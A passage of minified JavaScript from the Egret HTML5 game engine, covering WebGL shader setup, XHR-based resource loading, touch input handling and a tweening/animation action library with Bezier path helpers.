d(c);this.activateShader(this.defaultShader)};b.prototype.activateShader=function(c){this.gl.useProgram(c.program);this.setAttribs(c.attributes)};b.prototype.setAttribs=function(f){var e,i;i=this.tempAttribState.length;for(e=0;e<i;e++){this.tempAttribState[e]=!1}i=f.length;for(e=0;e<i;e++){this.tempAttribState[f[e]]=!0}f=this.gl;i=this.attribState.length;for(e=0;e<i;e++){this.attribState[e]!==this.tempAttribState[e]&&(this.attribState[e]=this.tempAttribState[e],this.tempAttribState[e]?f.enableVertexAttribArray(e):f.disableVertexAttribArray(e))}};return b}();g.WebGLShaderManager=h;h.prototype.__class__="egret.WebGLShaderManager";var d=function(){function b(c){this.defaultVertexSrc="attribute vec2 aVertexPosition;\nattribute vec2 aTextureCoord;\nattribute vec2 aColor;\nuniform vec2 projectionVector;\nuniform vec2 offsetVector;\nvarying vec2 vTextureCoord;\nvarying vec4 vColor;\nconst vec2 center = vec2(-1.0, 1.0);\nvoid main(void) {\n   gl_Position = vec4( ((aVertexPosition + offsetVector) / projectionVector) + center , 0.0, 1.0);\n   vTextureCoord = aTextureCoord;\n   vec3 color = mod(vec3(aColor.y/65536.0, aColor.y/256.0, aColor.y), 256.0) / 256.0;\n   vColor = vec4(color * aColor.x, aColor.x);\n}";this.program=null;this.fragmentSrc="precision lowp float;\nvarying vec2 vTextureCoord;\nvarying vec4 vColor;\nuniform sampler2D uSampler;\nvoid main(void) {\n   gl_FragColor = texture2D(uSampler, vTextureCoord) * vColor ;\n}";this.gl=c;this.init()}b.prototype.init=function(){var e=this.gl,c=g.WebGLUtils.compileProgram(e,this.defaultVertexSrc,this.fragmentSrc);e.useProgram(c);this.uSampler=e.getUniformLocation(c,"uSampler");this.projectionVector=e.getUniformLocation(c,"projectionVector");this.offsetVector=e.getUniformLocation(c,"offsetVector");this.dimensions=e.getUniformLocation(c,"dimensions");this.aVertexPosition=e.getAttribLocation(c,"aVertexPosition");this.aTextureCoord=e.getAttribLocation(c,"aTextureCoord");this.colorAttribute=e.getAttribLocation(c,"aColor");-1===this.colorAttribute&&(this.colorAttribute=2);this.attributes=[this.aVertexPosition,this.aTextureCoord,this.colorAttribute];this.program=c};return b}();g.EgretShader=d;d.prototype.__class__="egret.EgretShader";var a=function(){function b(c){this.alpha=this.translationMatrix=this.attributes=this.colorAttribute=this.aVertexPosition=this.tintColor=this.offsetVector=this.projectionVector=this.program=null;this.fragmentSrc="precision mediump float;\nvarying vec4 vColor;\nvoid main(void) {\n   gl_FragColor = vColor;\n}";this.vertexSrc="attribute vec2 aVertexPosition;\nattribute vec4 aColor;\nuniform mat3 translationMatrix;\nuniform vec2 projectionVector;\nuniform vec2 offsetVector;\nuniform float alpha;\nuniform vec3 tint;\nvarying vec4 vColor;\nvoid main(void) {\n   vec3 v = translationMatrix * vec3(aVertexPosition , 1.0);\n   v -= offsetVector.xyx;\n   gl_Position = vec4( v.x / projectionVector.x -1.0, v.y / -projectionVector.y + 1.0 , 0.0, 1.0);\n   vColor = aColor * vec4(tint * alpha, alpha);\n}";this.gl=c;this.init()}b.prototype.init=function(){var e=this.gl,c=g.WebGLUtils.compileProgram(e,this.vertexSrc,this.fragmentSrc);e.useProgram(c);this.projectionVector=e.getUniformLocation(c,"projectionVector");this.offsetVector=e.getUniformLocation(c,"offsetVector");this.tintColor=e.getUniformLocation(c,"tint");this.aVertexPosition=e.getAttribLocation(c,"aVertexPosition");this.colorAttribute=e.getAttribLocation(c,"aColor");this.attributes=[this.aVertexPosition,this.colorAttribute];this.translationMatrix=e.getUniformLocation(c,"translationMatrix");this.alpha=e.getUniformLocation(c,"alpha");this.program=c};return b}();g.PrimitiveShader=a;a.prototype.__class__="egret.PrimitiveShader"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this)}__extends(d,e);d.prototype.proceed=function(h){function g(f){a.IOErrorEvent.dispatchIOErrorEvent(h)}function k(c){switch(h.dataFormat){case a.URLLoaderDataFormat.TEXT:h.data=j.responseText;break;case a.URLLoaderDataFormat.VARIABLES:h.data=new a.URLVariables(j.responseText);break;case a.URLLoaderDataFormat.BINARY:h.data=j.response;break;default:h.data=j.responseText}a.callLater(a.Event.dispatchEvent,a.Event,h,a.Event.COMPLETE)}if(h.dataFormat==a.URLLoaderDataFormat.TEXTURE){this.loadTexture(h)}else{if(h.dataFormat==a.URLLoaderDataFormat.SOUND){this.loadSound(h)}else{var i=h._request,j=this.getXHR();j.onerror=g;j.onload=k;j.open(i.method,i.url,!0);this.setResponseType(j,h.dataFormat);i.method!=a.URLRequestMethod.GET&&i.data?i.data instanceof a.URLVariables?(j.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),j.send(i.data.toString())):(j.setRequestHeader("Content-Type","multipart/form-data"),j.send(i.data)):j.send()}}};d.prototype.loadSound=function(h){function g(c){window.clearTimeout(i.__timeoutId);i.removeEventListener("canplaythrough",g,!1);i.removeEventListener("error",j,!1);c=new a.Sound;c._setAudio(i);h.data=c;a.callLater(a.Event.dispatchEvent,a.Event,h,a.Event.COMPLETE)}function j(c){window.clearTimeout(i.__timeoutId);i.removeEventListener("canplaythrough",g,!1);i.removeEventListener("error",j,!1);a.IOErrorEvent.dispatchIOErrorEvent(h)}var i=new Audio(h._request.url);i.__timeoutId=window.setTimeout(g,100);i.addEventListener("canplaythrough",g,!1);i.addEventListener("error",j,!1);i.load()};d.prototype.getXHR=function(){return window.XMLHttpRequest?new window.XMLHttpRequest:new ActiveXObject("MSXML2.XMLHTTP")};d.prototype.setResponseType=function(f,c){switch(c){case a.URLLoaderDataFormat.TEXT:case a.URLLoaderDataFormat.VARIABLES:f.responseType=a.URLLoaderDataFormat.TEXT;break;case a.URLLoaderDataFormat.BINARY:f.responseType="arraybuffer";break;default:f.responseType=c}};d.prototype.loadTexture=function(g){var f=g._request,h=new Image;h.crossOrigin="Anonymous";h.onload=function(c){h.onerror=null;h.onload=null;c=new a.Texture;c._setBitmapData(h);g.data=c;a.callLater(a.Event.dispatchEvent,a.Event,g,a.Event.COMPLETE)};h.onerror=function(c){h.onerror=null;h.onload=null;a.IOErrorEvent.dispatchIOErrorEvent(g)};h.src=f.url};return d}(a.NetContext);a.HTML5NetContext=b;b.prototype.__class__="egret.HTML5NetContext"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(c){e.call(this);this.canvas=c;this._isTouchDown=!1}__extends(d,e);d.prototype.run=function(){var c=this;window.navigator.msPointerEnabled?(this.canvas.addEventListener("MSPointerDown",function(f){c._onTouchBegin(f);f.stopPropagation();f.preventDefault()},!1),this.canvas.addEventListener("MSPointerMove",function(f){c._onTouchMove(f);f.stopPropagation();f.preventDefault()},!1),this.canvas.addEventListener("MSPointerUp",function(f){c._onTouchEnd(f);f.stopPropagation();f.preventDefault()},!1)):a.MainContext.deviceType==a.MainContext.DEVICE_MOBILE?this.addTouchListener():a.MainContext.deviceType==a.MainContext.DEVICE_PC&&(this.addTouchListener(),this.addMouseListener());window.addEventListener("mousedown",function(f){c.inOutOfCanvas(f)?c.dispatchLeaveStageEvent():c._isTouchDown=!0});window.addEventListener("mouseup",function(f){c._isTouchDown&&c.inOutOfCanvas(f)&&c.dispatchLeaveStageEvent();c._isTouchDown=!1})};d.prototype.addMouseListener=function(){var c=this;this.canvas.addEventListener("mousedown",function(f){c._onTouchBegin(f)});this.canvas.addEventListener("mousemove",function(f){c._onTouchMove(f)});this.canvas.addEventListener("mouseup",function(f){c._onTouchEnd(f)})};d.prototype.addTouchListener=function(){var c=this;this.canvas.addEventListener("touchstart",function(f){for(var h=f.changedTouches.length,g=0;g<h;g++){c._onTouchBegin(f.changedTouches[g])}f.stopPropagation();f.preventDefault()},!1);this.canvas.addEventListener("touchmove",function(f){for(var h=f.changedTouches.length,g=0;g<h;g++){c._onTouchMove(f.changedTouches[g])}f.stopPropagation();f.preventDefault()},!1);this.canvas.addEventListener("touchend",function(f){for(var h=f.changedTouches.length,g=0;g<h;g++){c._onTouchEnd(f.changedTouches[g])}f.stopPropagation();f.preventDefault()},!1);this.canvas.addEventListener("touchcancel",function(f){for(var h=f.changedTouches.length,g=0;g<h;g++){c._onTouchEnd(f.changedTouches[g])}f.stopPropagation();f.preventDefault()},!1)};d.prototype.inOutOfCanvas=function(c){c=this.getLocation(this.canvas,c);return 0>c.x||0>c.y||c.x>this.canvas.width||c.y>this.canvas.height?!0:!1};d.prototype.dispatchLeaveStageEvent=function(){a.MainContext.instance.stage.dispatchEventWith(a.Event.LEAVE_STAGE)};d.prototype._onTouchBegin=function(g){var f=this.getLocation(this.canvas,g),h=-1;g.hasOwnProperty("identifier")&&(h=g.identifier);this.onTouchBegan(f.x,f.y,h)};d.prototype._onTouchMove=function(g){var f=this.getLocation(this.canvas,g),h=-1;g.hasOwnProperty("identifier")&&(h=g.identifier);this.onTouchMove(f.x,f.y,h)};d.prototype._onTouchEnd=function(g){var f=this.getLocation(this.canvas,g),h=-1;g.hasOwnProperty("identifier")&&(h=g.identifier);this.onTouchEnd(f.x,f.y,h)};d.prototype.getLocation=function(j,i){var o=document.documentElement,m=window,n,k;"function"===typeof j.getBoundingClientRect?(k=j.getBoundingClientRect(),n=k.left,k=k.top):k=n=0;n+=m.pageXOffset-o.clientLeft;k+=m.pageYOffset-o.clientTop;null!=i.pageX?(o=i.pageX,m=i.pageY):(n-=document.body.scrollLeft,k-=document.body.scrollTop,o=i.clientX,m=i.clientY);var l=a.Point.identity;l.x=(o-n)/a.StageDelegate.getInstance().getScaleX();l.y=(m-k)/a.StageDelegate.getInstance().getScaleY();return l};return d}(a.TouchContext);a.HTML5TouchContext=b;b.prototype.__class__="egret.HTML5TouchContext"})(egret||(egret={}));function trace(){for(var a=[],b=0;b<arguments.length-0;b++){a[b]=arguments[b+0]}console.log(a.toString())}function interpolate(b,d,a){return b+(d-b)*a}function uninterpolate(b,d,a){return b==a?0:(a-b)/(d-b)}function randomInt(a){return Math.floor(Math.random()*a)}function randomAt(a,b){return interpolate(a,b,Math.random())}var __extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d},XActionManager=function(){function a(b){this.actions=[];this._stage=b;b.addEventListener(egret.Event.ENTER_FRAME,this.onEnterFrame,this)}a.initStage=function(b){void 0==this._manager&&(this._manager=new a(b))};a.runAction=function(g,f,d){"undefined"===typeof d&&(d=!0);this._manager.to(g,f,d)};a.to=function(h,g,d,f){"undefined"===typeof d&&(d=!0);"undefined"===typeof f&&(f=!1);this._manager.to(h,g,d,f)};a.removeAction=function(b){this._manager.removeAction(b)};a.prototype.to=function(h,g,d,f){"undefined"===typeof d&&(d=!0);"undefined"===typeof f&&(f=!1);d&&this.removeAction(h);g=g.getRealAction();"XSequence"==g.type?(d=g,"XActionFirstSet"!=d.actions[0].type&&(d=d.actions.concat(),d.unshift(this.creatFirstSetAction(h,g)),g=new XSequence(d))):g=new XSequence([this.creatFirstSetAction(h,g),g]);f&&(g=new XSequence([g,new XCallFun(this.to,this,[h,g,!1,!0])]));g.setTarget(h,egret.getTimer());this.actions.push(g)};a.prototype.creatFirstSetAction=function(h,g){var d={},f;for(f in g.getParamNames()){d[f]=h[f]}return new XActionFirstSet(d)};a.prototype.removeAction=function(d){for(var b=this.actions.length-1;0<=b;b--){this.actions[b].target==d&&this.actions.splice(b,1)}};a.prototype.onEnterFrame=function(h){h=egret.getTimer();for(var g=0;g<this.actions.length;g++){var d=this.actions[g];if(void 0==d.target.stage){this.actions.splice(g,1),g--}else{var f=Math.max(0,(h-d.startTime)/d.numTime);1<=f&&(f=1,this.actions.splice(g--,1));d.update(f)}}};return a}();XActionManager.prototype.__class__="XActionManager";var XAction=function(){function a(b){"undefined"===typeof b&&(b=0);this.type="XAction";this.isReverse=!1;this.isFirstRun=!0;this.paramNames={};this.initTime(b)}a.prototype.setParent=function(b){this.parent=b};a.prototype.setReverseFrom=function(b){b.isReverse||(this.reverseFrom=b,this.isReverse=!0)};a.prototype.initTime=function(b){this.time=b;this.numTime=1000*b};a.prototype.setTarget=function(d,b){this.target=d;this.startTime=b;this.isFirstRun=!0};a.prototype.update=function(b){this.isFirstRun=!1};a.prototype.getRealAction=function(){return"XSequence"==this.type&&1==this.actions.length||"XSpawn"==this.type&&1==this.actions.length?this.actions[0]:"XLoop"==this.type&&1==this.loops?this.action:this};a.prototype.clone=function(){var b=this.getPrivateClone();b.reverseFrom=this.reverseFrom;b.isReverse=this.isReverse;return b};a.prototype.getPrivateClone=function(){return new a(this.time)};a.prototype.reverse=function(){var b=this.clone();b.setReverseFrom(this);return b};a.prototype.setEndDelay=function(b){};a.prototype.getParamNames=function(){return this.paramNames};a.prototype.toString=function(){return"XAction("+this.time+")"};a.prototype.getPrvChild=function(b){return null};return a}();XAction.prototype.__class__="XAction";var XDelay=function(a){function b(d){a.call(this,d);this.values={};this.type="XDelay"}__extends(b,a);b.prototype.update=function(d){this.runDeleyUpdate();a.prototype.update.call(this,d)};b.prototype.runDeleyUpdate=function(){void 0!=this.delayCall&&this.delayCall.call(this.delayCallTarget)};b.prototype.getPrivateClone=function(){var c=new b(this.time);this.setEndDelay(c);return c};b.prototype.reverse=function(){return this.getPrivateClone()};b.prototype.setEndDelay=function(d){d.delayCall=this.delayCall;d.delayCallTarget=this.delayCallTarget};b.prototype.toString=function(){return"XDelay("+this.time+")"};return b}(XAction);XDelay.prototype.__class__="XDelay";var XActionsTo=function(a){function b(f,d){a.call(this,f);this.fromParam={};this.toParam={};this.oldParam={};this.type="XActionsTo";for(var e in d){this.oldParam[e]=this.toParam[e]=d[e],this.paramNames[e]=!0}}__extends(b,a);b.prototype.setTarget=function(e,d){a.prototype.setTarget.call(this,e,d)};b.prototype.update=function(f){if(this.isFirstRun){for(var d in this.toParam){void 0!=this.target[d]&&"number"==typeof this.target[d]?this.fromParam[d]=this.target[d]:delete this.toParam[d]}if(this.isReverse){var e=this.reverseFrom;for(d in this.toParam){this.fromParam[d]=e.toParam[d],this.toParam[d]=e.fromParam[d]}}}for(d in this.toParam){this.target[d]=interpolate(this.fromParam[d],this.toParam[d],f)}a.prototype.update.call(this,f)};b.prototype.getPrivateClone=function(){return new b(this.time,this.oldParam)};b.prototype.setEndDelay=function(d){d.delayCall=this.delaySet;d.delayCallTarget=this};b.prototype.delaySet=function(){var e=[],d;for(d in this.toParam){this.target[d]=this.toParam[d],e.push(d+":"+this.target[d])}};b.prototype.toString=function(){var e=[],d;for(d in this.toParam){e.push(d)}return"XActionsTo("+this.time+",["+e.toString()+"])"};return b}(XAction);XActionsTo.prototype.__class__="XActionsTo";var XActionFirstSet=function(a){function b(d){a.call(this,0,d);this.type="XActionFirstSet"}__extends(b,a);b.prototype.toString=function(){var e=[],d;for(d in this.toParam){e.push(d)}return"XActionFirstSet()"};return b}(XActionsTo);XActionFirstSet.prototype.__class__="XActionFirstSet";var XActionsBy=function(a){function b(e,d){a.call(this,e,d);this.type="XActionsBy"}__extends(b,a);b.prototype.setTarget=function(e,d){a.prototype.setTarget.call(this,e,d)};b.prototype.update=function(f){if(this.isFirstRun){for(var d in this.oldParam){switch(this.fromParam[d]=this.target[d],d){case"scaleX":case"scaleY":this.toParam[d]=this.fromParam[d]*this.oldParam[d];break;default:this.toParam[d]=this.fromParam[d]+this.oldParam[d]}}if(this.isReverse){var e=this.reverseFrom;for(d in this.toParam){this.fromParam[d]=e.toParam[d],this.toParam[d]=e.fromParam[d]}}}for(d in this.toParam){this.target[d]=interpolate(this.fromParam[d],this.toParam[d],f)}this.isFirstRun=!1};b.prototype.getPrivateClone=function(){return new b(this.time,this.oldParam)};return b}(XActionsTo);XActionsBy.prototype.__class__="XActionsBy";var XBezierTo=function(a){function b(h,e,f,g){"undefined"===typeof g&&(g=!1);a.call(this,h);this.start=new egret.Point;this.paramNames.x=!0;this.paramNames.y=!0;this.type="XBezierTo";this.smoothing=g;this.control=new egret.Point(e.x,e.y);this.end=new egret.Point(f.x,f.y);this.oldControl=new egret.Point(e.x,e.y);this.oldEnd=new egret.Point(f.x,f.y)}__extends(b,a);b.prototype.setTarget=function(e,d){a.prototype.setTarget.call(this,e,d)};b.prototype.update=function(e){if(this.isFirstRun&&(this.start.x=this.target.x,this.start.y=this.target.y,this.smoothing&&(this.length=xGetBezierLength(this.start,this.control,this.end,1)),this.isReverse)){var d=this.reverseFrom;this.start.x=d.end.x;this.start.y=d.end.y;this.control.x=d.control.x;this.control.y=d.control.y;this.end.x=d.start.x;this.end.y=d.start.y}this.smoothing&&0!=e&&1!=e&&(e=xGetBezierTimeByDistance(this.start,this.control,this.end,this.length,e*this.length));this.target.x=xBezierInterpolateNumber(this.start.x,this.control.x,this.end.x,e);this.target.y=xBezierInterpolateNumber(this.start.y,this.control.y,this.end.y,e);a.prototype.update.call(this,e)};b.prototype.getPrivateClone=function(){return new b(this.time,this.oldControl,this.oldEnd)};b.prototype.setEndDelay=function(d){d.delayCall=this.delaySet;d.delayCallTarget=this};b.prototype.delaySet=function(){this.target.x=this.end.x;this.target.y=this.end.y};b.prototype.toString=function(){return"XBezierTo("+this.time+")"};return b}(XAction);XBezierTo.prototype.__class__="XBezierTo";var XBezierBy=function(a){function b(h,e,f,g){"undefined"===typeof g&&(g=!1);a.call(this,h,e,f,g);this.type="XBezierBy"}__extends(b,a);b.prototype.setTarget=function(e,d){a.prototype.setTarget.call(this,e,d)};b.prototype.update=function(e){if(this.isFirstRun&&(this.start.x=this.target.x,this.start.y=this.target.y,this.control.x=this.start.x+this.oldControl.x,this.control.y=this.start.y+this.oldControl.y,this.end.x=this.start.x+this.oldEnd.x,this.end.y=this.start.y+this.oldEnd.y,this.smoothing&&(this.length=xGetBezierLength(this.start,this.control,this.end,1)),this.isReverse)){var d=this.reverseFrom;this.start.x=d.end.x;this.start.y=d.end.y;this.control.x=d.control.x;this.control.y=d.control.y;this.end.x=d.start.x;this.end.y=d.start.y}this.smoothing&&0!=e&&1!=e&&(e=xGetBezierTimeByDistance(this.start,this.control,this.end,this.length,e*this.length));this.target.x=xBezierInterpolateNumber(this.start.x,this.control.x,this.end.x,e);this.target.y=xBezierInterpolateNumber(this.start.y,this.control.y,this.end.y,e);this.isFirstRun=!1};b.prototype.getPrivateClone=function(){return new b(this.time,this.oldControl,this.oldEnd)};return b}(XBezierTo);XBezierBy.prototype.__class__="XBezierBy";var XCallFun=function(a){function b(f,d,e){"undefined"===typeof f&&(f=null);"undefined"===typeof d&&(d=null);"undefined"===typeof e&&(e=null);a.call(this,0);this.type="XCallFun";this.params=void 0==e?[]:e.concat();this.callFun=f;this.callTarget=d}__extends(b,a);b.prototype.update=function(d){1==d&&void 0!=this.callFun&&this.callFun.apply(this.callTarget,this.params);a.prototype.update.call(this,d)};b.prototype.getPrivateClone=function(){return new b(this.callFun,this.callTarget,this.params)};b.prototype.toString=function(){return"XCallFun()"};return b}(XAction);XCallFun.prototype.__class__="XCallFun";var XCallUpdate=function(a){function b(h,e,f,g){"undefined"===typeof f&&(f=null);"undefined"===typeof g&&(g=null);a.call(this,h);this.type="XCallUpdate";this.callFun=e;this.params=void 0==g?[]:g.concat();this.callTarget=f}__extends(b,a);b.prototype.update=function(e){if(void 0!=this.callFun){var d=this.params.concat();this.isReverse?d.unshift(1-e):d.unshift(e);this.callFun.apply(this.callTarget,d)}a.prototype.update.call(this,e)};b.prototype.getPrivateClone=function(){return new b(this.time,this.callFun,this.callTarget,this.params)};b.prototype.toString=function(){return"XCallUpdate("+this.time+")"};return b}(XAction);XCallUpdate.prototype.__class__="XCallUpdate";var XCallUpdateSpace=function(a){function b(j,e,f,i,h,g){"undefined"===typeof i&&(i=null);"undefined"===typeof h&&(h=null);"undefined"===typeof g&&(g=null);a.call(this,j);this.type="XCallUpdate";this.callFun=i;this.params=void 0==g?[]:g.concat();this.callTarget=h;this.from=e;this.to=f}__extends(b,a);b.prototype.update=function(e){if(void 0!=this.callFun){var d=this.params.concat();this.isReverse&&(e=1-e);d.unshift(interpolate(this.from,this.to,e));this.callFun.apply(this.callTarget,d)}a.prototype.update.call(this,e)};b.prototype.getPrivateClone=function(){return new b(this.time,this.from,this.to,this.callFun,this.callTarget,this.params)};b.prototype.toString=function(){return"XCallUpdateSpace("+this.time+")"};return b}(XAction);XCallUpdateSpace.prototype.__class__="XCallUpdateSpace";var XEased=function(a){function b(e,d){a.call(this,e.time);this.action=e.getRealAction();this.action.setParent(this);this.type="XEased";this.easeFun=d}__extends(b,a);b.prototype.setTarget=function(e,d){a.prototype.setTarget.call(this,e,d);this.action.setTarget(e,d)};b.prototype.update=function(d){this.isReverse?this.action.update(1-this.easeFun(1-d)):this.action.update(this.easeFun(d));a.prototype.update.call(this,d)};b.prototype.getPrivateClone=function(){return new b(this.action.clone(),this.easeFun)};b.prototype.reverse=function(){var c=new b(this.action.reverse(),this.easeFun);c.setReverseFrom(this);return c};b.prototype.setEndDelay=function(d){this.action.setEndDelay(d)};b.prototype.getParamNames=function(){return this.action.getParamNames()};b.prototype.toString=function(){return"XEased("+this.action.toString()+")"};return b}(XAction);XEased.prototype.__class__="XEased";var XSequence=function(a){function b(h){a.call(this,0);this.actions=[];this.times=[];this.toIndex=0;this.minTime=Number.MAX_VALUE;this.indexArray=[];this.type="XSequence";this.actions=h.concat();for(h=0;h<this.actions.length;h++){this.actions[h]=this.actions[h].getRealAction();this.actions[h].setParent(this);for(var e in this.actions[h].getParamNames()){this.paramNames[e]=!0}}for(h=e=0;h<this.actions.length;h++){var f=e;e+=this.actions[h].time;this.times[h]=[f,e];0<this.actions[h].time&&(this.minTime=Math.min(this.minTime,this.actions[h].time))}if(0<e){f=Math.ceil(e/this.minTime);for(h=0;h<=f;h++){this.indexArray[h]=[]}for(h=0;h<this.times.length;h++){for(var f=Math.floor(this.times[h][1]/this.minTime),g=Math.floor(this.times[h][0]/this.minTime);g<=f;g++){this.indexArray[g].push(h)}}}this.toTime=this.times[0][1];this.initTime(e)}__extends(b,a);b.prototype.setTarget=function(f,d){a.prototype.setTarget.call(this,f,d);if(this.isReverse){for(var e=this.actions.length-1;0<=e;e--){this.actions.push(this.actions.splice(e,1)[0])}}for(e=0;e<this.actions.length;e++){this.actions[e].setTarget(f,d)}this.toIndex=0};b.prototype.update=function(i){if(0!=this.actions.length){if(1==this.actions.length){this.actions[0].update(i)}else{var e,f=i*this.time;if(1==i){e=this.times.length-1}else{for(var h=Math.floor(f/this.minTime),g=this.indexArray[h].length-1;0<=g&&!(e=this.indexArray[h][g],f>=this.times[e][0]);g--){}}for(h=this.toIndex;h<e;h++){this.actions[h].update(1)}0==this.actions[e].time?this.actions[e].update(1):(f=uninterpolate(this.times[e][0],this.times[e][1],f),this.actions[e].update(f));this.toIndex=e;a.prototype.update.call(this,i)}}};b.prototype.getPrivateClone=function(){for(var d=this.actions.concat(),c=0;c<d.length;c++){d[c]=d[c].clone()}return new b(d)};b.prototype.reverse=function(){for(var d=this.actions.concat(),c=0;c<d.length;c++){d[c]=d[c].reverse()}d=new b(d);d.setReverseFrom(this);return d};b.prototype.setEndDelay=function(d){this.actions[this.actions.length-1].setEndDelay(d)};b.prototype.toString=function(){for(var e=[],d=0;d<this.actions.length;d++){e.push(this.actions[d].toString())}return"XSequence("+this.time+","+e.toString()+")"};return b}(XAction);XSequence.prototype.__class__="XSequence";var XSpawn=function(a){function b(h){a.call(this,0);this.actions=[];this.times=[];this.childrenDelays=[];this.type="XSpawn";this.actions=h.concat();for(h=0;h<this.actions.length;h++){this.actions[h]=this.actions[h].getRealAction();this.actions[h].setParent(this);for(var e in this.actions[h].getParamNames()){this.paramNames[e]=!0}}for(h=e=0;h<this.actions.length;h++){e=Math.max(this.actions[h].time,e)}for(h=0;h<this.actions.length;h++){if(this.times[h]=[!1,this.actions[h].time/e],this.actions[h].time<e){var f=this.actions[h],g=new XDelay(e-f.time);f.setEndDelay(g);this.actions[h]=new XSequence([f,g])}}this.initTime(e)}__extends(b,a);b.prototype.setTarget=function(f,d){a.prototype.setTarget.call(this,f,d);for(var e=0;e<this.actions.length;e++){this.actions[e].setTarget(f,d),this.times[e][0]=!1}};b.prototype.update=function(e){for(var d=0;d<this.times.length;d++){this.actions[d].update(e)}a.prototype.update.call(this,e)};b.prototype.getPrivateClone=function(){for(var d=this.actions.concat(),c=0;c<d.length;c++){d[c]=d[c].clone()}return new b(d)};b.prototype.reverse=function(){for(var d=this.actions.concat(),c=0;c<d.length;c++){d[c]=d[c].reverse()}d=new b(d);d.setReverseFrom(this);return d};b.prototype.setEndDelay=function(e){if(0==this.childrenDelays.length){for(var d=0;d<this.actions.length;d++){this.childrenDelays[d]=new XDelay(e.time),this.actions[d].setEndDelay(this.childrenDelays[d])}}e.delayCall=this.delaySet;e.delayCallTarget=this};b.prototype.delaySet=function(){for(var d=0;d<this.childrenDelays.length;d++){this.childrenDelays[d].runDeleyUpdate()}};b.prototype.toString=function(){for(var e=[],d=0;d<this.actions.length;d++){e.push(this.actions[d].toString())}return"XSpawn("+this.time+","+e.toString()+")"};return b}(XAction);XSpawn.prototype.__class__="XSpawn";var XVisible=function(a){function b(d){"undefined"===typeof d&&(d=!0);a.call(this,0);this.type="XVisible";this.paramNames.visible=!0;this.visible=d}__extends(b,a);b.prototype.update=function(d){1==d&&(this.target.visible=this.visible);a.prototype.update.call(this,d)};b.prototype.getPrivateClone=function(){return new b(this.visible)};b.prototype.setEndDelay=function(d){d.delayCall=this.delaySet;d.delayCallTarget=this};b.prototype.delaySet=function(){this.target.visible=this.visible};b.prototype.toString=function(){return"XVisible("+this.visible+")"};return b}(XAction);XVisible.prototype.__class__="XVisible";var XRemoved=function(a){function b(){a.call(this,0);this.type="XRemoved"}__extends(b,a);b.prototype.update=function(d){1==d&&void 0!=this.target.parent&&this.target.parent.removeChild(this.target);a.prototype.update.call(this,d)};b.prototype.getPrivateClone=function(){return new b};b.prototype.toString=function(){return"XRemoved()"};return b}(XAction);XRemoved.prototype.__class__="XRemoved";var XLoop=function(a){function b(e,d){a.call(this,e.time*Math.max(1,d));this.runIndex=0;this.type="XLoop";this.loops=Math.max(1,d);this.oneTime=1/this.loops;this.action=e.getRealAction();this.action.setParent(this);this.runIndex=0}__extends(b,a);b.prototype.setTarget=function(e,d){a.prototype.setTarget.call(this,e,d);this.action.setTarget(e,d)};b.prototype.update=function(h){for(var e=Math.min(this.loops-1,Math.floor(h/this.oneTime)),f=1==h?1:h%this.oneTime/this.oneTime,g=this.runIndex;g<e;g++){this.action.update(1)}this.action.update(f);this.runIndex=e;a.prototype.update.call(this,h)};b.prototype.getPrivateClone=function(){return new b(this.action,this.loops)};b.prototype.reverse=function(){var c=new b(this.action.reverse(),this.loops);c.setReverseFrom(this);return c};b.prototype.setEndDelay=function(d){this.action.setEndDelay(d)};b.prototype.getParamNames=function(){return this.action.getParamNames()};b.prototype.toString=function(){return"XLoop("+this.loops+","+this.action.toString()+")"};return b}(XAction);XLoop.prototype.__class__="XLoop";function clonePoint(a){return new egret.Point(a.x,a.y)}function xBezierInterpolateNumber(i,j,h,d){var g=1-d;return i*g*g+2*j*g*d+h*d*d}function xBezierInterpolate(g,h,d,a){return new egret.Point(xBezierInterpolateNumber(g.x,h.x,d.x,a),xBezierInterpolateNumber(g.y,h.y,d.y,a))}var __PRECISION__=1e-10;function xGetBezierLength(k,m,j,g){var h=m.x-k.x,l=m.y-k.y;k=j.x-m.x-h;j=j.y-m.y-l;m=4*(h*h+l*l);h=8*(h*k+l*j);k=4*(k*k+j*j);if(0==k){if(0==h){return g*Math.sqrt(m)}g=2/3*(h*g+m)*Math.sqrt(h*g+m)/h;m=2/3*m*Math.sqrt(m)/h;return g-m}var i=Math.sqrt(k*g*g+h*g+m),l=Math.sqrt(m);j=Math.sqrt(k);g=(0.5*h+k*g)/j+i<__PRECISION__?0.25*(2*k*g+h)*i/k:0.25*(2*k*g+h)*i/k+0.5*Math.log((0.5*h+k*g)/j+i)/j*(m-0.25*h*h/k);m=0.5*h/j+l<__PRECISION__?0.25*h*l/k:0.25*h*l/k+0.5*Math.log(0.5*h/j+l)/j*(m-0.25*h*h/k);return g-m}function xGetBezierTimeByDistance(w,y,v,z,A){if(isNaN(A)){return 0}var x,i;z=A/z;var B=y.x-w.x,j=y.y-w.y;w=v.x-y.x-B;v=v.y-y.y-j;y=4*(B*B+j*j);B=8*(B*w+j*v);w=4*(w*w+v*v);v=y-0.25*B*B/w;var j=0.25*B*Math.sqrt(y)/w,s=0.5*B/Math.sqrt(w)+Math.sqrt(y),u=Math.sqrt(y),q=Math.sqrt(w),o,n=100;if(0==w){if(0==B){do{x=u*z,i=Math.sqrt(Math.abs(w*z*z+B*z+y))||__PRECISION__,z-=(x-A)/i}while(Math.abs(x-A)>__PRECISION__&&n--)}else{do{x=2/3*(B*z+y)*Math.sqrt(B*z+y)/B-2/3*y*u/B,i=Math.sqrt(Math.abs(w*z*z+B*z+y))||__PRECISION__,z-=(x-A)/i}while(Math.abs(x-A)>__PRECISION__&&n--)}}else{do{i=Math.sqrt(Math.abs(w*z*z+B*z+y)),x=(0.5*B+w*z)/q+i,o=0.25*(2*w*z+B)*i/w,x=x<__PRECISION__?o:o+0.5*Math.log((0.5*B+w*z)/q+i)/q*v,o=s<__PRECISION__?j:j+0.5*Math.log(0.5*B/q+u)/q*v,x-=o,i=i||__PRECISION__,z-=(x-A)/i}while(Math.abs(x-A)>__PRECISION__&&n--)}return z}function xEaseSineIn(a){return 